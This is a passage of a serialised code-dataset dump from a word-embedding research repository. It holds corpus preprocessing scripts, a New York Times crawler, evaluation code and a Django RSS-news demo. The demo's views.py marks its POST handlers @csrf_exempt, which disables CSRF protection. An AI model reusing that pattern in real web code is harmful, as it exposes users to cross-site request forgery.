main()\n"},{"alpha_fraction":0.5840368270874023,"alphanum_fraction":0.6039907932281494,"avg_line_length":32.410255432128906,"blob_id":"4f0b28e6450225999a13a28bd42d0201d29dd135","content_id":"6a5957beb75bb222eeee85600b1a99a804ddac51","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1303,"license_type":"no_license","max_line_length":92,"num_lines":39,"path":"/evaluation/word_similarity.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import scipy.stats\nimport sys\nsys.path.append('../src')\nfrom utils import load_w2v_model, similarity\n\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nimport random\n\ndef load_standard(filename):\n word_pair = []\n simi = []\n with open(filename) as fin:\n for line in fin:\n if line.strip().startswith('#'): continue\n arr = line.strip().split('\\t')\n if len(arr) != 4: continue\n word_pair.append((arr[1].lower(), arr[2].lower()))\n simi.append(float(arr[3]))\n return word_pair, simi\n\ndef main():\n word_pair, simi = load_standard('./wordsim353_annotator1.txt')\n #model = load_w2v_model('../../paper/word2vec/vec.txt', logging)\n model_path = '../../paper/data/srwe_model/wiki_small.w2v.r.0.001.model'\n model = load_w2v_model(model_path, logging)\n new_simi = []\n for pair in word_pair:\n if pair[0] not in model or pair[1] not in model:\n logging.error('%s not in vocab.' % pair[0] if pair[0] not in model else pair[1])\n new_simi.append(0.0)\n continue\n new_simi.append(similarity(model[pair[0]], model[pair[1]]))\n print model_path\n res = scipy.stats.spearmanr(simi, new_simi)\n print res\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.5418410301208496,"alphanum_fraction":0.560669481754303,"avg_line_length":25.5,"blob_id":"487eba43c78a59102b10eace418fa2dc2db2c7bb","content_id":"2c3a17c3616ecd46a2d035c3fafeb7543f8080db","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":478,"license_type":"no_license","max_line_length":74,"num_lines":18,"path":"/gen_data/preprocess_corpus.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import re\nimport logging\n\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\n\npattern = re.compile(r'[\\'\\\"\\\\,./;\\[\\]<>?:\\{\\}|!~`@#$^&*()_]')\n\nfout = file('../../paper/data/nytimes/nytimes_corpus', 'w')\n\ncount = 0\nwith open('../../paper/data/nytimes/nytimes_content') as fin:\n for line in fin:\n fout.write('%s' % (pattern.sub(' ', line.lower())))\n if count % 100000 == 0:\n logging.info(count)\n count += 1\n\nfout.close()\n\n"},{"alpha_fraction":0.6171208620071411,"alphanum_fraction":0.6289567947387695,"avg_line_length":37.2315788269043,"blob_id":"50f74230627f8d61a010dbd627ea658d0bbe19ea","content_id":"3c05bcb68fd78b4e1376e379d8358f0db41e2df8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3633,"license_type":"no_license","max_line_length":149,"num_lines":95,"path":"/demo/rss_news/rss/management/commands/fetch_rss_update.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"from django.core.management.base import BaseCommand, CommandError\nfrom rss.models import RSSItem, ClassItem, Subscription, News\nimport time\nfrom dateutil import parser as time_parser\nimport feedparser\nimport logging\nfrom sklearn.externals import joblib\nlogger = logging.getLogger('django_logger')\nfetch_logger = logging.getLogger('fetch_logger')\nimport sys\n#sys.path.append('../../../../../src')\n#sys.path.append('../../../../../evaluation/')\nsys.path.append('/home/zhangbaihan/srwe/src')\nsys.path.append('/home/zhangbaihan/srwe/evaluation/')\nfrom text_classification import clean_text, get_vec_len, get_vec_from_words\nfrom utils import load_w2v_model\n\nclfs = {}\nw2v_model = {}\ndimension = 0\n\ndef classfy(w2v_model, clfs, text):\n fetch_logger.info('classfying:text:%s' % text)\n vec = get_vec_from_words(clean_text(text.decode('utf-8')), w2v_model, dimension)\n pred_res = []\n for label in clfs:\n pred_res.append((clfs[label].predict_proba(vec.reshape(1, -1))[0][1], label))\n sorted_pred = sorted(pred_res, key=lambda x: x[0], reverse=True)\n fetch_logger.info('label:%s' % sorted_pred[0][1])\n return sorted_pred[0][1]\n\ndef format_time(secs):\n return time.strftime('%Y-%m-%d %H:%M:%S', secs)\n\ndef get_classes():\n labels = {}\n classes = ClassItem.objects.all()\n for item in classes:\n labels[item.title.encode('utf-8')] = item\n return labels\n\ndef load_models(labels):\n global clfs, w2v_model, dimension\n path = '/home/zhangbaihan/srwe/evaluation/clf_model/%s.model'\n model_file = '/home/zhangbaihan/paper/data/srwe_model/wiki_small.w2v.100.r.0.00001.s.0.00009.model'\n if not clfs:\n keys = labels.keys()\n fetch_logger.info('loadding LR models...')\n for label in keys:\n fetch_logger.info('loadding %s.model ...' % label)\n clfs[label] = joblib.load(path % label)\n if not w2v_model:\n fetch_logger.info('loadding w2v model...')\n w2v_model = load_w2v_model(model_file, None, nparray=True)\n dimension = get_vec_len(w2v_model)\n\ndef fetch_rss_update():\n fetch_logger = logging.getLogger('fetch_logger')\n fetch_logger.info('#########fetch cron begin...###########')\n labels = get_classes()\n if not clfs or not w2v_model: load_models(labels)\n\n rss_items = RSSItem.objects.all()\n for item in rss_items:\n url = item.url\n update_time = item.update_time\n #update_time = item.update_time.timetuple()\n latest = update_time\n fetch_logger.info('%s,%s' % (url, update_time))\n parser = feedparser.parse(url)\n for entry in parser.entries:\n published_datetime = time_parser.parse(entry.published)\n if latest < published_datetime:\n latest = published_datetime\n if update_time >= published_datetime:\n break\n title = entry['title'].encode('utf-8')\n abstract = entry['summary'].encode('utf-8')\n url = entry['link'].encode('utf-8')\n # Do classification\n label = classfy(w2v_model, clfs, '%s %s' % (title, abstract))\n class_item = labels[label]\n new_news = News(rss_id=item, pub_time=published_datetime, title=title, abstract=abstract, content='', news_link=url, class_id=class_item)\n new_news.save()\n\n if latest > update_time:\n item.update_time = latest\n item.save()\n fetch_logger.info('#########fetch cron end###########')\n #return HttpResponse('successfully')\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n fetch_rss_update()\n #print 'hello world'\n\n"},{"alpha_fraction":0.6478617191314697,"alphanum_fraction":0.6487715840339661,"avg_line_length":22.89130401611328,"blob_id":"7ec33c56e4f1ec748e4c57d065f1f718aa36b009","content_id":"20558a514a5bc357b0b2b2e9d9373e05a8813716","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1099,"license_type":"no_license","max_line_length":70,"num_lines":46,"path":"/src/RelationalData.h","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"#ifndef RELATIONALDATA_H\n#define RELATIONALDATA_H\n\n#include <unordered_map>\n#include <unordered_set>\n#include <string>\n#include <map>\n#include <fstream>\n#include <sstream>\n#include <vector>\n#include <iostream>\nusing namespace std;\n\nclass RelationalData {\npublic:\n unordered_map<string, vector<pair<string, string>>> dataset;\n unordered_map<string, int> relations;\n\n RelationalData(const string& filename) {\n ReadData(filename);\n }\n\n void ReadData(const string& filename);\n\n};\n\nvoid RelationalData::ReadData(const string& filename) {\n // file format\n // head relation tail (instance relation topic)\n // example\n // dos type_of_computer(or operating_system) computer\n //\n ifstream fin(filename.c_str());\n string line, head, relation, tail;\n while (getline(fin, line)) {\n istringstream iss(line);\n iss >> head >> relation >> tail;\n dataset[head].push_back(pair<string, string>(relation, tail));\n relations[relation]++;\n //if (dataset[head].size() > 1)\n //cout << head << endl;\n }\n fin.close();\n}\n\n#endif\n"},{"alpha_fraction":0.5677808523178101,"alphanum_fraction":0.5854224562644958,"avg_line_length":34.31147384643555,"blob_id":"b66e9e5ac7c3c676c46afb765b47a171c86cb373","content_id":"4b52df5d5dcf0ed51c139bff0fc55e4e1a8733bf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2154,"license_type":"no_license","max_line_length":86,"num_lines":61,"path":"/gen_data/nytimes/clean_nytimes.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"from collections import defaultdict\nimport sys\nsys.path.append('../../evaluation/')\nsys.path.append('../../src/')\nfrom text_classification import clean_text\n\ndef count_category():\n category_count = defaultdict(lambda: 0)\n with open('./nytimes.2010_2015') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) != 5: continue\n category_count[arr[1]] += 1\n\n sorted_category = sorted(category_count.items(), key=lambda x: x[1], reverse=True)\n for category, count in sorted_category:\n print category, count\n\ndef count_category_and_char():\n category_count = defaultdict(lambda: 0)\n category_word_count = defaultdict(lambda: 0)\n with open('./news_corpus') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n category_count[arr[1]] += 1\n #category_word_count[arr[1]] += len(clean_text(arr[0].decode('utf-8')))\n sorted_category = sorted(category_count.items(), key=lambda x: x[1], reverse=True)\n #print ' & '.join(map(lambda x: '%d' % x[1], sorted_category))\n for category, count in sorted_category:\n print '\\\\hline'\n print '%s & %d \\\\\\\\' % (category, count)\n\ndef load_category(filename):\n category_map = {}\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n for cate in arr[1:]:\n category_map[cate] = arr[0]\n return category_map\n\n\ndef extract_news():\n category_map = load_category('./category_mapping.txt')\n category_count = defaultdict(lambda: 0)\n fout = file('./news_corpus', 'w')\n with open('./nytimes.2010_2015') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) != 5: continue\n category = category_map.get(arr[1], None)\n if not category: continue\n fout.write('%s %s\\t%s\\n' % (arr[2], arr[4], category))\n category_count[category] += 1\n for category in category_count:\n print category, category_count[category]\n fout.close()\n\nif __name__ == '__main__':\n #extract_news()\n count_category_and_char()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5625473856925964,\n \"alphanum_fraction\": 0.5807430148124695,\n \"avg_line_length\": 30.404762268066406,\n \"blob_id\": \"8ff0e8e39126621f7267f102cdc3c262afc13c59\",\n \"content_id\": \"0189e2c0d78616dd1c910d67e31dee7b6c12ab57\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1319,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 42,\n \"path\": \"/gen_data/parse_wiki.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#coding=utf-8\\nimport logging\\nfrom gensim.corpora import WikiCorpus\\nfrom collections import defaultdict\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\n\\ndef parse_wiki(filename):\\n fout = file('../../paper/data/wiki/wiki_corpus', 'w')\\n wiki = WikiCorpus(filename, lemmatize=False, dictionary={}, processes=5)\\n count = 0\\n for text in wiki.get_texts():\\n fout.write('%s\\\\n' % ' '.join(text))\\n if count % 10000 == 0:\\n logging.info(count)\\n count += 1\\n\\n fout.close()\\n logging.info('Finish %d' % count)\\n\\ndef word_freq(filename):\\n fout = file('../../paper/data/wiki/wiki_corpus.vocab', 'w')\\n freq = defaultdict(lambda: 0)\\n count = 0\\n with open(filename) as fin:\\n for line in fin:\\n words = line.strip().split(' ')\\n for word in words:\\n freq[word] += 1\\n if count % 10000 == 0:\\n logging.info(count)\\n count += 1\\n sorted_words = sorted(freq.items(), key=lambda x:x[1], reverse=True)\\n for item in sorted_words:\\n fout.write('%s\\\\t%s\\\\n' % (item[0], item[1]))\\n fout.close()\\n\\ndef main():\\n #parse_wiki('../../paper/data/wiki/enwiki-latest-pages-articles.xml.bz2')\\n word_freq('../../paper/data/wiki/wiki_corpus')\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.4976470470428467,\n \"alphanum_fraction\": 0.5168627500534058,\n \"avg_line_length\": 27.0219783782959,\n \"blob_id\": \"13bea97d38ae26b578cf32441bc1227c78eb19f0\",\n \"content_id\": \"0b9fa15163009311d9283127647607b741229624\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2550,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 91,\n \"path\": \"/src/utils.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import heapq\\nimport math\\nimport numpy as np\\nimport scipy.spatial\\n\\ndef similarity(v1, v2):\\n inner = sum([v1[i] * v2[i] for i in range(len(v1))])\\n sum1 = math.sqrt(sum([v1[i] * v1[i] for i in range(len(v1))]))\\n sum2 = math.sqrt(sum([v2[i] * v2[i] for i in range(len(v2))]))\\n if sum1 == 0 or sum2 == 0:\\n return -1\\n return inner * 1.0 / (sum1 * sum2)\\n\\ndef similarity_numpy(v1, v2):\\n return 1 - scipy.spatial.distance.cosine(v1, v2)\\n\\nclass MinSizeHeap:\\n def __init__(self, size):\\n self.size = size\\n self.arr = []\\n heapq.heapify(self.arr)\\n\\n def push(self, item):\\n if len(self.arr) > self.size:\\n top = self.arr[0]\\n if top[0] < item[0]:\\n heapq.heappop(self.arr)\\n heapq.heappush(self.arr, item)\\n else:\\n heapq.heappush(self.arr, item)\\n\\n def pop(self):\\n return heapq.heappop(self.arr)\\n\\n def sort(self):\\n self.arr.sort(reverse=True)\\n\\n def extend(self, arr):\\n #format\\n #[(value, title), ...]\\n for each in arr:\\n self.push(each)\\n\\n def clear(self):\\n del self.arr[:]\\n\\n def get(self):\\n return self.arr\\n\\ndef load_w2v_model(model_file, logging = None, nparray = False):\\n model = {}\\n total = 0\\n vector_size = 0\\n with open(model_file) as fin:\\n total, vector_size = map(lambda x: int(x), fin.readline().strip().split(' '))\\n if logging:\\n logging.info('load vector from: %s' % model_file)\\n logging.info('total:%d, vector_size:%d' % (total, vector_size))\\n count = 0\\n for line in fin:\\n line = line.strip().split(' ')\\n vec = map(lambda x: float(x), line[1:])\\n model[line[0]] = np.array(vec) if nparray else vec\\n if count % 10000 == 0 and logging:\\n logging.info('loading %d / %d\\\\r' % (count, total))\\n count += 1\\n return model\\n\\ndef is_version(s):\\n try:\\n float(s)\\n return True\\n except:\\n arr = s.strip().split('.')\\n for seg in arr:\\n seg = seg.decode('utf-8')\\n if not (seg.isdigit() or seg == 'x' or seg == 'X'):\\n return False\\n return True\\n\\ndef load_wiki_dict(filename):\\n # word \\\\t freq\\n word_set = {}\\n with open(filename) as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if int(arr[1]) >= 3:\\n #word_set.add(arr[0])\\n word_set[arr[0]] = int(arr[1])\\n else: break\\n return word_set\\n\"\n },\n {\n \"alpha_fraction\": 0.5360946655273438,\n \"alphanum_fraction\": 0.55266273021698,\n \"avg_line_length\": 29.178571701049805,\n \"blob_id\": \"0323c2a26034c0a6c89c11e0b188a5513700b76f\",\n \"content_id\": \"ea1b95dcb61cad4937cb261921169daba99261cb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1690,\n \"license_type\": \"no_license\",\n \"max_line_length\": 96,\n \"num_lines\": 56,\n \"path\": \"/src/find_similarity.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import heapq\\nimport logging\\nfrom utils import *\\n\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\n\\ndef find_most_similarity(word, model):\\n heap = MinSizeHeap(20)\\n for w in model:\\n if word == w: continue\\n heap.push((similarity(model[word], model[w]), w))\\n heap.sort()\\n return heap.arr\\n\\ndef find_most_similarity_vector(vector, model):\\n heap = MinSizeHeap(20)\\n for w in model:\\n heap.push((similarity(vector, model[w]), w))\\n heap.sort()\\n return heap.arr\\n\\ndef main():\\n model = load_w2v_model('../../paper/data/srwe_model/wiki_small.w2v.r.0.0005.model', logging)\\n while True:\\n query = raw_input('input query word:\\\\n')\\n if not query:\\n continue\\n # words similarity\\n #arr = query.strip().split(' ')\\n #if len(arr) != 2: continue\\n #w1, w2 = arr\\n #if w1 not in model or w2 not in model:\\n #continue\\n #print '%s,%s:%lf' % (w1, w2, similarity(model[w1], model[w2]))\\n\\n # top similarity words\\n #if query not in model:\\n #print '%s not in vocab.' % query\\n #continue\\n #res = find_most_similarity(query, model)\\n #for sim, word in res:\\n #print '%s\\\\t%lf' % (word, sim)\\n\\n #relation query\\n arr = query.strip().split(' ')\\n if len(arr) != 2: continue\\n w1, w2 = arr\\n if w1 not in model or w2 not in model:\\n continue\\n h_r = [model[w1][i] + model[w2][i] for i in range(len(model[w1]))]\\n res = find_most_similarity_vector(h_r, model)\\n for sim, word in res:\\n print '%s\\\\t%lf' % (word, sim)\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.6453201770782471,\n \"alphanum_fraction\": 0.6674876809120178,\n \"avg_line_length\": 24.375,\n \"blob_id\": \"381604b765f4a8e4fdbae9e9d74f5ec0773acebe\",\n \"content_id\": \"329eec9882a005a6933c87e8ae85d2727c2b896c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Makefile\",\n \"length_bytes\": 406,\n \"license_type\": \"no_license\",\n \"max_line_length\": 93,\n \"num_lines\": 16,\n \"path\": \"/src/makefile\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"CC = g++\\n#The -Ofast might not work with older versions of gcc; in that case, use -O2\\nCFLAGS = -lm -pthread -Ofast -march=native -Wall -funroll-loops -Wno-unused-result -std=c++11\\n\\nOBJS = Paraphrase.o\\n\\nall: word2vec_joint\\n\\n%.o : %.cpp\\n\\t$(CC) -c $< -o $@ $(CFLAGS)\\n\\nword2vec_joint : word2vec_joint.cpp $(OBJS)\\n\\t$(CC) word2vec_joint.cpp $(OBJS) -o word2vec_joint $(CFLAGS)\\n\\nclean:\\n\\trm -rf word2vec_joint *.o\\n\"\n },\n {\n \"alpha_fraction\": 0.4862385392189026,\n \"alphanum_fraction\": 0.4969418942928314,\n \"avg_line_length\": 35.33333206176758,\n \"blob_id\": \"a42255df30b80e6e71014ae011e1878e51859b7c\",\n \"content_id\": \"ff09bc4a192c6f66b78ae973972f6328086f51e8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 654,\n \"license_type\": \"no_license\",\n \"max_line_length\": 110,\n \"num_lines\": 18,\n \"path\": \"/evaluation/parse_topic_prediction_res.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\n\\nif __name__ == '__main__':\\n if len(sys.argv) != 2:\\n print 'argv error'\\n print 'argv: filename'\\n filename = sys.argv[1]\\n with open(filename) as fin:\\n while True:\\n line = fin.readline()\\n if not line: break\\n\\n if line.startswith('topic') or line.startswith('total'):\\n topic = line.strip() if line.startswith('total') else line.strip().split(',')[0].split(':')[1]\\n line = fin.readline()\\n arr = line.strip().split(',')\\n precision = float(arr[-1].strip().split(':')[-1])\\n print '%s\\\\t%.4lf' % (topic, precision)\\n\"\n },\n {\n \"alpha_fraction\": 0.47486695647239685,\n \"alphanum_fraction\": 0.4861029088497162,\n \"avg_line_length\": 37.431819915771484,\n \"blob_id\": \"02b584867668b06a952425cd1f733c871481bdb0\",\n \"content_id\": \"ab9a542c5a1e1a72ca63e38ee541b135a9e725da\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1691,\n \"license_type\": \"no_license\",\n \"max_line_length\": 101,\n \"num_lines\": 44,\n \"path\": \"/gen_data/parse_nytimes.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os, sys\\nimport datetime\\nimport lxml.etree\\n\\ndef log(logstr, writer = sys.stdout, inline = False):\\n writer.write(\\\"%s\\\\t%s%s\\\" % (str(datetime.datetime.now()), logstr, '\\\\r' if inline else '\\\\n'))\\n writer.flush()\\n\\nBASE_DIR = '/home/zhangbaihan/Downloads/nytimes/corpus/'\\ndef parse_xml():\\n fout = file('../../paper/data/nytimes/nytimes_content', 'w')\\n year_list = os.listdir(BASE_DIR)\\n count = 0\\n for year in year_list:\\n for month in range(1, 13):\\n ms = '%02d' % month\\n path = os.path.join(BASE_DIR, year, ms)\\n if not os.path.isdir(path): continue\\n days = os.listdir(path)\\n for day in days:\\n day_path = os.path.join(path, day)\\n files = os.listdir(day_path)\\n log(day_path)\\n for f in files:\\n full_path = os.path.join(day_path, f)\\n doc = lxml.etree.parse(full_path)\\n title = doc.xpath('//body.head')\\n title_text = ''\\n if len(title) != 0:\\n title_text = '\\\\n'.join([x.strip() for x in title[0].itertext() if x.strip()])\\n content = doc.xpath('//body.content')\\n if len(content) == 0: continue\\n text = '\\\\n'.join([x.strip() for x in content[0].itertext() if x.strip()])\\n fout.write('%s\\\\n%s\\\\n' % (title_text.encode('utf-8'), text.encode('utf-8')))\\n if count % 10000 == 0:\\n log(count)\\n count += 1\\n fout.close()\\n log('total:%d' % count)\\ndef main():\\n parse_xml()\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.8600000143051147,\n \"alphanum_fraction\": 0.8600000143051147,\n \"avg_line_length\": 49,\n \"blob_id\": \"f2c7fc03eb4b408de80c6384467ec96924129620\",\n \"content_id\": \"181bdd382777b2f4af40c8ff75099516f32e253a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 50,\n \"license_type\": \"no_license\",\n \"max_line_length\": 49,\n \"num_lines\": 1,\n \"path\": \"/README.md\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"This is Semantic-Relation Word Embeddings project\\n\"\n },\n {\n \"alpha_fraction\": 0.5500552654266357,\n \"alphanum_fraction\": 0.5655248761177063,\n \"avg_line_length\": 32.51852035522461,\n \"blob_id\": \"53394ec5264908282360d4229f4e90419300bc51\",\n \"content_id\": \"2dd8523314f692279c78dbc6f215937465010a82\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4525,\n \"license_type\": \"no_license\",\n \"max_line_length\": 118,\n \"num_lines\": 135,\n \"path\": \"/gen_data/nytimes/crawler_nytimes.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport urllib2, cookielib\\nimport lxml.html as H\\nimport socket\\nsocket.setdefaulttimeout(5)\\nfrom time import sleep\\nfrom datetime import datetime\\nfrom Queue import Queue, Empty\\nimport threading\\nimport sys\\n\\nHOST = \\\"http://spiderbites.nytimes.com/\\\"\\nXPATH_NEWS = '//ul[@id=\\\"headlines\\\"]/li/a/@href'\\nXPATH_CATEGORY = '//meta[@property=\\\"article:section\\\"]/@content'\\nXPATH_TITLE = '//meta[@property=\\\"og:title\\\"]/@content'\\nXPATH_ABSTRACT = '//meta[@property=\\\"og:description\\\"]/@content'\\nXPATH_DATE = '//meta[@property=\\\"article:published\\\"]/@content'\\n\\nclass Requester:\\n UR_KEY = 'User-Agent'\\n UR_VALUE = 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.65'\\n\\n def __init__(self, timeout = 5):\\n self.timeout = timeout\\n cj = cookielib.CookieJar()\\n self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))\\n\\n def get(self, url):\\n #req = urllib2.Request(url)\\n #req.add_header(self.UR_KEY, self.UR_VALUE)\\n #content = urllib2.urlopen(req, timeout=self.timeout).read()\\n return self.opener.open(url).read()\\n\\n\\ndef log(logstr, writer = sys.stdout):\\n writer.write(\\\"%s\\\\t%s\\\\n\\\" % (str(datetime.now()), logstr))\\n writer.flush()\\n\\ndef fetch_news_urls(filename):\\n requester = Requester()\\n fout = file('%s_news_url' % sys.argv[1], 'w')\\n with open(filename) as fin:\\n for line in fin:\\n url = HOST + line.strip()\\n print url\\n html = requester.get(url)\\n page = H.document_fromstring(html)\\n news_node = page.xpath(XPATH_NEWS)\\n for news in news_node:\\n fout.write('%s\\\\n' % str(news))\\n fout.close()\\n\\ndef load_list(filename):\\n ls = []\\n with open(filename) as fin:\\n for line in fin:\\n ls.append(line.strip())\\n return ls\\n\\ndef dump_queue(queue):\\n with open('queue_%s.dump' % sys.argv[1], 'w') as fout:\\n while not queue.empty():\\n item, count = queue.get(False)\\n fout.write(item + '\\\\n')\\n\\n\\ndef fetch_news_info_thread(requester, queue, index):\\n fout = file('./%s_news_part/news.part.%d' % (sys.argv[1], index), 'a')\\n ferr = file('./%s_news_part/news.err.part.%d' % (sys.argv[1], index), 'a')\\n failure_count = 0\\n while not queue.empty():\\n try:\\n url, count = queue.get(True, 30)\\n if count > 10:\\n log('REQ_ERROR:%s' % url, ferr)\\n continue\\n html = requester.get(url)\\n log('%s\\\\tfetched' % url)\\n page = H.document_fromstring(html)\\n category = page.xpath(XPATH_CATEGORY)\\n date = page.xpath(XPATH_DATE)\\n title = page.xpath(XPATH_TITLE)\\n abstract = page.xpath(XPATH_ABSTRACT)\\n if len(category) < 1 or (len(title) < 1 and len(abstract) < 1): continue\\n title_str = title[0].encode('utf-8') if len(title) > 0 else ''\\n abstract_str = abstract[0].encode('utf-8') if len(abstract) > 0 else ''\\n date_str = date[0].encode('utf-8') if len(date) > 0 else ''\\n fout.write('%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' % (url, category[0].encode('utf-8'), title_str, date_str, abstract_str))\\n fout.flush()\\n failure_count = 0\\n except Empty:\\n log('EMPTY:%d' % index, ferr)\\n break\\n except (urllib2.URLError, socket.timeout, socket.error, urllib2.HTTPError):\\n queue.put((url, count + 1))\\n failure_count += 1\\n if failure_count == 10:\\n log('TIMEOUT:%d' % index, ferr)\\n sleep(10 * failure_count)\\n elif failure_count >= 20:\\n log('NETWORK_ERR:%d' % index, ferr)\\n break\\n log('Thread %s done' % index)\\n fout.close()\\n ferr.close()\\n\\ndef crawle_news_info():\\n requester = Requester()\\n queue = Queue()\\n urls = load_list('./%s_news_url' % sys.argv[1])\\n #urls = load_list('./queue.dump')\\n log('urls to fetch:%s' % len(urls))\\n for url in urls:\\n queue.put((url, 1))\\n threads = []\\n for i in range(10):\\n threads.append(threading.Thread(target=fetch_news_info_thread, args=(requester, queue, i)))\\n for t in threads:\\n t.start()\\n for t in threads:\\n t.join()\\n\\n if not queue.empty():\\n dump_queue(queue)\\n log('Finish')\\n\\ndef main():\\n fetch_news_urls('./%s_url' % sys.argv[1])\\n crawle_news_info()\\n\\nif __name__ == '__main__':\\n if len(sys.argv) <= 1:\\n log('argv error')\\n exit(1)\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.7063778638839722,\n \"alphanum_fraction\": 0.720818281173706,\n \"avg_line_length\": 30.961538314819336,\n \"blob_id\": \"abd680d87f189b8ddbd50c554dc317f5761939f2\",\n \"content_id\": \"57737df2a26d7f26cc21cf6240fcb5ad2eca2584\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 831,\n \"license_type\": \"no_license\",\n \"max_line_length\": 50,\n \"num_lines\": 26,\n \"path\": \"/demo/rss_news/rss/models.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.db import models\\n\\n# Create your models here.\\n\\nclass RSSItem(models.Model):\\n rss_id = models.AutoField(primary_key=True)\\n url = models.CharField(max_length=200)\\n update_time = models.DateTimeField()\\n\\nclass ClassItem(models.Model):\\n class_id = models.AutoField(primary_key=True)\\n title = models.CharField(max_length=200)\\n\\nclass Subscription(models.Model):\\n subscr_id = models.AutoField(primary_key=True)\\n rss_id = models.ForeignKey(RSSItem)\\n\\nclass News(models.Model):\\n news_id = models.AutoField(primary_key=True)\\n rss_id = models.ForeignKey(RSSItem)\\n pub_time = models.DateTimeField()\\n title = models.CharField(max_length=500)\\n abstract = models.TextField()\\n content = models.TextField()\\n news_link = models.CharField(max_length=200)\\n class_id = models.ForeignKey(ClassItem)\\n\"\n },\n {\n \"alpha_fraction\": 0.7323186993598938,\n \"alphanum_fraction\": 0.7341092228889465,\n \"avg_line_length\": 31.823530197143555,\n \"blob_id\": \"57b53bc58ccbedad62d6652205d86a2b32fd93d3\",\n \"content_id\": \"685d1c07547e964f70639335c759fcda87d18c3f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1117,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 34,\n \"path\": \"/demo/rss_news/rss/views.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#coding=utf-8\\nfrom django.http import HttpResponse,HttpResponseRedirect\\nfrom django.shortcuts import render_to_response,redirect\\nfrom django.template import RequestContext\\nfrom django.views.decorators.csrf import csrf_exempt\\nfrom rss.models import RSSItem, ClassItem, Subscription, News\\nimport time\\n\\ndef render_addrss(request):\\n return render_to_response('addrss.html')\\n\\ndef render_addclass(request):\\n return render_to_response('addclass.html')\\n\\n\\n@csrf_exempt\\ndef add_rss(request):\\n url = request.POST.get('rss_url')\\n if not url: return HttpResponse('RSS URL is empty.')\\n new_rss = RSSItem(url=url, update_time=format_time(time.localtime(0)))\\n new_rss.save()\\n return HttpResponse('Add RSS URL successfully!')\\n\\n@csrf_exempt\\ndef add_class(request):\\n class_title = request.POST.get('class')\\n if not class_title: return HttpResponse('class is empty.')\\n new_class = 